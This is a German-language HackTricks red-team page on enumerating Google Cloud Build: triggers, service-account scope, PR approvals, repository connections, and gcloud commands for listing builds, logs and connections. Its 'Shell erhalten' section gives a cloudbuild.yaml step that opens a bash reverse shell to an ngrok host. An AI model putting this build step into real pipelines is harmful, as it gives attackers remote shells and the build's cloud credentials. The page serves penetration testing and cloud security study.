GCP - Cloud Build Enum

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Google Cloud Build ist eine verwaltete CI/CD-Plattform, die den automatisierten Software-Build und Freigabeprozesse integriert mit Quellcode-Repositories und eine Vielzahl von Programmiersprachen unterstützt. Es ermöglicht Entwicklern, Code automatisch zu erstellen, zu testen und bereitzustellen, während es Flexibilität bietet, Build-Schritte und Workflows anzupassen.

Jeder Cloud Build Trigger ist mit einem Cloud-Repository verbunden oder direkt mit einem externen Repository verknüpft (Github, Bitbucket und Gitlab).

Ich konnte keine Möglichkeit sehen, den Github/Bitbucket-Token von hier oder von Cloud-Repositories zu stehlen, da beim Herunterladen des Repositories über eine https://source.cloud.google.com/ URL zugegriffen wird und Github nicht vom Client aus aufgerufen wird.

Ereignisse

Der Cloud Build kann ausgelöst werden, wenn:

  • Ein Push auf einen Branch erfolgt: Branch angeben

  • Ein neues Tag gepusht wird: Tag angeben

  • Pull-Request: Branch angeben, der den PR erhält

  • Manuelle Auslösung

  • Pub/Sub-Nachricht: Thema angeben

  • Webhook-Ereignis: Es wird eine HTTPS-URL freigegeben und die Anfrage muss mit einem Geheimnis authentifiziert werden

Ausführung

Es gibt 3 Optionen:

  • Ein yaml/json, das die auszuführenden Befehle spezifiziert. Normalerweise: /cloudbuild.yaml

  • Nur einer, der "inline" im Web-Portal und in der Befehlszeile spezifiziert werden kann

  • Gängigste Option

  • Relevant für nicht authentifizierten Zugriff

  • Ein Dockerfile zum Erstellen

  • Ein Buildpack zum Erstellen

SA-Berechtigungen

Der Service Account hat den cloud-platform-Bereich, sodass er alle Berechtigungen verwenden kann. Wenn kein SA angegeben ist (wie beim Ausführen von submit), wird der Standard-SA <proj-number>@cloudbuild.gserviceaccount.com verwendet.

Standardmäßig werden keine Berechtigungen erteilt, aber es ist recht einfach, einige zu erteilen:

Genehmigungen

Es ist möglich, einen Cloud Build so zu konfigurieren, dass Genehmigungen für Build-Ausführungen erforderlich sind (standardmäßig deaktiviert).

PR-Genehmigungen

Wenn der Trigger ein PR ist, weil jeder PRs zu öffentlichen Repositories durchführen kann, wäre es sehr gefährlich, die Ausführung des Triggers einfach mit jedem PR zuzulassen. Daher wird die Ausführung standardmäßig nur automatisch für Besitzer und Mitarbeiter durchgeführt, und um den Trigger mit PRs anderer Benutzer auszuführen, muss ein Besitzer oder Mitarbeiter den Befehl /gcbrun kommentieren.

Verbindungen & Repositories

Verbindungen können über erstellt werden:

  • GitHub: Es wird eine OAuth-Aufforderung angezeigt, die um Berechtigungen bittet, um einen Github-Token zu erhalten, der im Secret Manager gespeichert wird.

  • GitHub Enterprise: Es wird gefragt, ob ein GithubApp installiert werden soll. Ein Authentifizierungstoken von Ihrem GitHub Enterprise-Host wird erstellt und in diesem Projekt als Secret Manager-Geheimnis gespeichert.

  • GitLab / Enterprise: Sie müssen den API-Zugriffstoken und den Lese-API-Zugriffstoken bereitstellen, die im Secret Manager gespeichert werden.

Sobald eine Verbindung hergestellt ist, können Sie sie verwenden, um Repositories zu verknüpfen, auf die das Github-Konto Zugriff hat.

Diese Option ist über die Schaltfläche verfügbar:

Beachten Sie, dass mit dieser Methode verbundene Repositories nur in Triggern der 2. Generation verfügbar sind.

Repository verknüpfen

Dies ist nicht dasselbe wie eine Verbindung. Dies ermöglicht unterschiedliche Möglichkeiten, auf ein Github- oder Bitbucket-Repository zuzugreifen, erstellt jedoch kein Verbindungsobjekt, sondern ein Repository-Objekt (der 1. Generation).

Diese Option ist über die Schaltfläche verfügbar:

Speicher

Manchmal wird Cloud Build einen neuen Speicherplatz generieren, um die Dateien für den Trigger zu speichern. Dies geschieht beispielsweise im Beispiel, das GCP anbietet mit:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Ein Speicherbucket namens security-devbox_cloudbuild wird erstellt, um eine .tgz-Datei mit den zu verwendenden Dateien zu speichern.

Shell erhalten

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Installiere gcloud innerhalb des Cloud Build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

Sie könnten sensible Informationen in Build-Konfigurationen und Protokollen finden.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Privilege Escalation

pageGCP - Cloudbuild Privesc

Unauthenticated Access

pageGCP - Cloud Build Unauthenticated Enum

Post Exploitation

pageGCP - Cloud Build Post Exploitation
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated